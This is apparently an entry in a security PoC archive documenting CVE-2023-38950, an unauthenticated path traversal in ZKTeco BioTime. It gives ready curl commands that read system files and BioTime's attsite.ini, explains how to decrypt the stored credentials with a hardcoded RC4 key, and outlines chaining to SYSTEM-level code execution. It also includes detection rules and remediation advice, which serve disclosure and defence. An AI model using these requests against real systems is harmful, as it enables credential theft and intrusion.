ZKTeco BioTime v8.5.5 Unauthenticated Path Traversal / Arbitrary File Read via iclock API (CVE-2023-38950)
by Discovered/disclosed by Claroty Team82; public PoC by @w3bd3vil (Krash Consulting) · 2026-07-11
- Severity
- High
- CVE
- CVE-2023-38950
- Category
- web
- Affected product
- ZKTeco BioTime (web-based time & attendance / access control management platform)
- Affected versions
- BioTime v8.5.5 (Windows builds observed: 20211030.13012, 20231103.R1905); the public PoC also targets 9.0.1 (20240108.18753). Fixed in ZKBioTime version 9.0.120240617.19506 (Middle East build line fixed in 8.5.5.2944).
- Disclosed
- 2026-07-11
- Patch status
- patched
Tags
References
- https://nvd.nist.gov/vuln/detail/CVE-2023-38950
- https://claroty.com/team82/disclosure-dashboard/cve-2023-38950
- https://claroty.com/team82/disclosure-dashboard/cve-2023-38951
- https://claroty.com/team82/disclosure-dashboard/cve-2023-38952
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-38950
- https://www.cisa.gov/news-events/alerts/2025/05/19/cisa-adds-six-known-exploited-vulnerabilities-catalog
- https://github.com/omair2084/biotime-rce-8.5.5
- https://krashconsulting.com/fury-of-fingers-biotime-rce/
- https://www.zkteco.com/en/Security_Bulletinsibs/10
Archive entry
intelseclab/poc-archiveMetadata
| Field | Value |
|---|---|
| Date Added | 2026-07-11 |
| Last Updated | N/A |
| Author / Researcher | Discovered/disclosed by Claroty Team82; public PoC by @w3bd3vil (Krash Consulting) |
| CVE / Advisory | CVE-2023-38950 |
| Category | web |
| Severity | High |
| CVSS Score | 7.5 (CVSS 3.1, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| Status | Weaponized (public PoC, in CISA KEV) |
| Tags | zkteco, biotime, path-traversal, arbitrary-file-read, cwe-22, unauthenticated, remote, iclock-api, kev |
| Related | Disclosed alongside CVE-2023-38951 (authenticated path traversal / arbitrary file write via SFTP settings, leading to RCE) and CVE-2023-38952 (insecure access control on backup/static file resources); N/A within this archive |
Affected Target
| Field | Value |
|---|---|
| Software / System | ZKTeco BioTime (web-based time & attendance / access control management platform) |
| Versions Affected | BioTime v8.5.5 (Windows builds observed: 20211030.13012, 20231103.R1905); the public PoC also targets 9.0.1 (20240108.18753). Fixed in ZKBioTime version 9.0.120240617.19506 (Middle East build line fixed in 8.5.5.2944). |
| Language / Platform | Python 2.7 / 3.7 backend (Django, mod_wsgi under Apache), Windows Server hosting (observed banners: Apache/2.4.29 (Win64) mod_wsgi/4.5.24 Python/2.7, Apache/2.4.52 (Win64) mod_wsgi/4.7.1 Python/3.7) |
| Authentication Required | No |
| Network Access Required | Yes (remote, over HTTP/HTTPS to the BioTime web management port, commonly :80/:81/:8088) |
Summary
ZKTeco BioTime v8.5.5 exposes the iclock device-communication API endpoint (/iclock/file) without authentication. The url query parameter, which is meant to reference firmware/log filenames pulled by physical biometric terminals, is concatenated into a filesystem path without normalization or restriction to an allowed directory. By supplying a payload of ../ sequences, a remote, unauthenticated attacker can read arbitrary files from the underlying Windows filesystem, including BioTime’s own configuration file (attsite.ini), which contains RC4-“encrypted” (effectively obfuscated, trivially reversible) credentials for the database, SMTP, and LDAP integrations. This is CWE-22 (Improper Limitation of a Pathname to a Restricted Directory), tracked as CVE-2023-38950, CVSS 3.1 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N). CISA added it to the Known Exploited Vulnerabilities (KEV) catalog on 2025-05-19 (due date 2025-06-09) following reports of in-the-wild exploitation, roughly two years after initial disclosure.
CVE-2023-38950 was disclosed by Claroty Team82 as part of a batch of ZKTeco BioTime findings. It is closely related to, but distinct from, two other CVEs disclosed in the same research: CVE-2023-38951 (authenticated path traversal in the /base/sftpsetting/ endpoints’ Username field combined with unsanitized SSH-key content, allowing arbitrary file write and ultimately remote code execution as NT AUTHORITY\SYSTEM) and CVE-2023-38952 (insecure access control allowing unauthenticated/under-authorized retrieval of sensitive backup files and other static resources). This entry documents CVE-2023-38950 specifically — the unauthenticated file-read primitive — and notes where the public PoC repo bundles the other two.
Vulnerability Details
Root Cause
The iclock API is BioTime’s device-facing endpoint used by physical fingerprint/attendance terminals to push and pull configuration, firmware, and log files. The handler behind GET /iclock/file takes a url parameter and reads the referenced file relative to a base directory, base64-encoding the contents in the response. The parameter is not validated against path-traversal sequences (../) or canonicalized/confined to the intended subdirectory, so an attacker can walk up the directory tree and reference arbitrary absolute paths on the host filesystem. Because this endpoint is designed for unauthenticated device check-ins (terminals do not log in as web users), it carries no session/auth check at all, making the traversal fully unauthenticated.
Attack Vector
Unauthenticated remote HTTP GET request to the iclock file endpoint with a crafted url parameter containing directory-traversal sequences, e.g.:
GET /iclock/file?SN=win&url=/../../../../../../../../windows/win.ini HTTP/1.1
Host: <target>
The response body is the target file’s contents, base64-encoded. The SN parameter (device serial number) is not meaningfully validated and can be set to an arbitrary placeholder.
Impact
- Disclosure of arbitrary files readable by the BioTime service account (typically running as, or with rights approaching, SYSTEM on Windows deployments).
- In practice this is used to pull BioTime’s own
attsite.ini(found atC:\biotime\attsite.iniorC:\zkbiotime\attsite.inidepending on install layout), which contains the application’s database, SMTP, and LDAP/SFTP credentials, RC4-obfuscated with a hardcoded key (biotime) — trivially reversible. - The recovered credentials/config are commonly chained into further compromise: authenticating to the web app (BioTime historically ships with weak/default employee credentials, e.g. numeric usernames with password
123456), pulling database backups, decrypting stored SMTP/LDAP secrets via a hardcoded AES key, and — when chained with the separately-tracked CVE-2023-38951 SFTP path-traversal/arbitrary-file-write bug — achieving remote code execution asNT AUTHORITY\SYSTEM. - On its own, CVE-2023-38950 is a confidentiality-only primitive (no integrity/availability impact per its CVSS vector:
C:H/I:N/A:N), but it is a practical stepping stone to full compromise given how BioTime deployments are typically configured.
Environment / Lab Setup
OS: Windows Server (BioTime is distributed as a Windows-hosted web app)
Target: ZKTeco BioTime v8.5.5 (Build 20231103.R1905) or 9.0.1 (Build 20240108.18753)
Attacker: Any host with network access to the BioTime web management port
Tools: curl / Burp Suite, or the public Python PoC (biotime_enum.py)
No official vulnerable Docker image is published by ZKTeco; the software is typically distributed as a Windows installer. Reproduction requires either a licensed/trial BioTime installation on a Windows VM, or testing directly against an authorized target.
Setup Steps
| |
Proof of Concept
The public PoC repository referenced for this entry, omair2084/biotime-rce-8.5.5 (author: @w3bd3vil, Krash Consulting), contains a single script — biotime_enum.py — that chains all three disclosed CVEs (CVE-2023-38950, CVE-2023-38951, CVE-2023-38952) into one end-to-end exploitation flow, plus a README.md pointing to the author’s writeup at krashconsulting.com/fury-of-fingers-biotime-rce/. The repo does not separate the CVEs into distinct files or flags — it is a single linear script. Only the first stage of that script demonstrates CVE-2023-38950 specifically; the remainder demonstrates the related-but-distinct CVEs. Below is an accurate breakdown of which part of the script maps to which CVE, based on what was actually fetched from the repo (not invented):
| Script stage | CVE demonstrated |
|---|---|
GET /iclock/file?SN=win&url=/../../../../../../../../windows/win.ini and the same against attsite.ini — unauthenticated directory traversal / arbitrary file read | CVE-2023-38950 (this entry) |
Brute-forcing default employee credentials (numeric username + password 123456), downloading DB backups via /files/..., reading SMTP/LDAP settings via /base/api/systemSettings/... | Related to CVE-2023-38952 (insecure access control / weak default credentials leading to sensitive data exposure) — not the traversal bug itself |
sftpRCE() — abusing /base/sftpsetting/edit/ by putting a ../ traversal payload in the user_name field to overwrite a Python interpreter library file (\..\..\..\python37\lib\io.py or \..\..\..\python311\lib\io.py) with attacker-controlled code via the SSH key field, then triggering execution | CVE-2023-38951 (authenticated path traversal / arbitrary file write leading to RCE as NT AUTHORITY\SYSTEM) |
Step-by-Step Reproduction (CVE-2023-38950 portion only)
Fingerprint the target — confirm it is a BioTime instance and grab the build banner:
1curl -sk http://<target>:<port>/license/ | grep -i buildTrigger the traversal — request the
iclock/fileendpoint with aurlparameter walking up to the Windows system directory:1curl -sk "http://<target>:<port>/iclock/file?SN=win&url=/../../../../../../../../windows/win.ini"The response body is base64-encoded; decode it to confirm arbitrary file read:
1curl -sk "http://<target>:<port>/iclock/file?SN=win&url=/../../../../../../../../windows/win.ini" | base64 -dPull BioTime’s own config for credential harvesting — repeat against the install’s
attsite.ini(default paths differ by version/region):1 2 3curl -sk "http://<target>:<port>/iclock/file?SN=att&url=/../../../../../../../../biotime/attsite.ini" | base64 -d # or, on newer installs: curl -sk "http://<target>:<port>/iclock/file?SN=att&url=/../../../../../../../../zkbiotime/attsite.ini" | base64 -dAny
PASSWORD=@!@=<blob>fields in the returned INI are RC4-“encrypted” with the hardcoded keybiotimeand are trivially decryptable (seedecrypt_rc4()in the PoC below).
Exploit Code
See
biotime_enum.pyin this folder — mirrored verbatim from omair2084/biotime-rce-8.5.5. It’s a multi-stage script covering all three related CVEs (see the scoping table above); the excerpt below is the portion that exercises CVE-2023-38950 specifically — the unauthenticated traversal/read and the accompanying RC4 config-decryption helper.
| |
Expected Output
Dir Traversal Attempt
Output of windows/win.ini file:
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
...
[+] Output of BioTime Decrypted config file:
[Database]
NAME=biotime
USER=...
PASSWORD=<decrypted plaintext>
...
(Sample output above is taken from the PoC repo’s own README, run against a v8.0.5 test instance; field values will vary per deployment.)
Screenshots / Evidence
None captured for this entry — reproduction was not performed against a live instance; this writeup is grounded in the fetched PoC source and Claroty/NVD disclosure text (see References).
Detection & Indicators of Compromise
"GET /iclock/file?SN=*&url=*..%2f* HTTP/1.1"
"GET /iclock/file?SN=*&url=/../../../../ HTTP/1.1"
SIEM / IDS Rule (example):
alert http any any -> any any (msg:"ZKTeco BioTime iclock path traversal attempt (CVE-2023-38950)"; content:"/iclock/file"; http_uri; content:"url="; http_uri; pcre:"/url=.*(\.\.\/|\.\.%2f|\.\.\\\\)/i"; sid:9000002;)
Remediation
| Action | Detail |
|---|---|
| Patch | Upgrade to ZKBioTime version 9.0.120240617.19506 or later (Middle East build line: 8.5.5.2944 or later). |
| Workaround | Restrict network access to the BioTime web management interface to trusted management networks only; do not expose it directly to the internet. Place a reverse proxy/WAF in front that blocks traversal sequences in the url parameter of /iclock/file. |
| Config Hardening | Rotate all credentials stored in attsite.ini (DB, SMTP, LDAP) after any suspected exposure, since the obfuscation (hardcoded RC4 key biotime) provides no real confidentiality. Follow CISA KEV guidance: apply vendor mitigations per BOD 22-01 for internet-facing/cloud instances, or discontinue use if mitigations are unavailable. |
References
- CVE-2023-38950 — NVD
- Claroty Team82 — CVE-2023-38950 Disclosure Dashboard
- Claroty Team82 — CVE-2023-38951 Disclosure Dashboard (related: authenticated SFTP path traversal / arbitrary file write / RCE)
- Claroty Team82 — CVE-2023-38952 Disclosure Dashboard (related: insecure access control on backup/static resources)
- CISA Known Exploited Vulnerabilities Catalog — CVE-2023-38950 (added 2025-05-19, due 2025-06-09)
- CISA — Adds Six Known Exploited Vulnerabilities to Catalog (2025-05-19)
- Public PoC — omair2084/biotime-rce-8.5.5 (GitHub)
- Krash Consulting — “Fury of Fingers: BioTime RCE” (original writeup by @w3bd3vil)
- ZKTeco — Security Bulletin: Notice Regarding Security Vulnerability in BioTime (Path Traversal)
Notes
This entry was surfaced via a CVE discovery pass (NVD + CISA KEV + EPSS scoring) on 2026-07-11 and ingested from public sources: the Claroty Team82 disclosure dashboard (https://claroty.com/team82/disclosure-dashboard/cve-2023-38950) for root-cause/CVSS/CWE detail, and the omair2084/biotime-rce-8.5.5 GitHub repository for the Proof-of-Concept content, both fetched directly (via WebFetch and gh api) rather than reconstructed from memory.
Important scoping caveat: the public PoC repo bundles CVE-2023-38950, CVE-2023-38951, and CVE-2023-38952 into a single script without clearly labeling which stage corresponds to which CVE identifier — the mapping in the Proof of Concept section above was inferred by cross-referencing the script’s request targets and behavior against each CVE’s NVD/Claroty description, not asserted by the PoC author. Treat that mapping as this archive’s best-effort attribution rather than an upstream-confirmed one-to-one mapping.
The Claroty Team82 disclosure dashboard page itself is a thin index entry (product name, CVE, one-line description, CVSS) and does not host a full technical writeup; deeper root-cause narrative for the traversal mechanics was reconstructed from the NVD CVE description plus direct reading of the PoC script’s HTTP requests, not from a detailed Claroty blog post (the fuller Team82 blog post, if one exists beyond the dashboard entry, was not located during this research pass). The krashconsulting.com writeup returned HTTP 403 when fetched directly and could not be read in full; its content was not used beyond what the repo’s own README/script comments state.
CVSS score, vector, CWE-22 classification, and the fixed version string (9.0.120240617.19506) were independently confirmed against the NVD CVE-2023-38950 record and match the values specified for this entry. Not independently verified: the precise default install directory layout across all BioTime versions/regions (the PoC script itself tries multiple candidate paths, suggesting this varies), and any specific in-the-wild exploitation campaign details behind CISA’s May 2025 KEV addition (CISA’s KEV entry does not itself detail the exploitation campaign; only that active exploitation was observed).
| |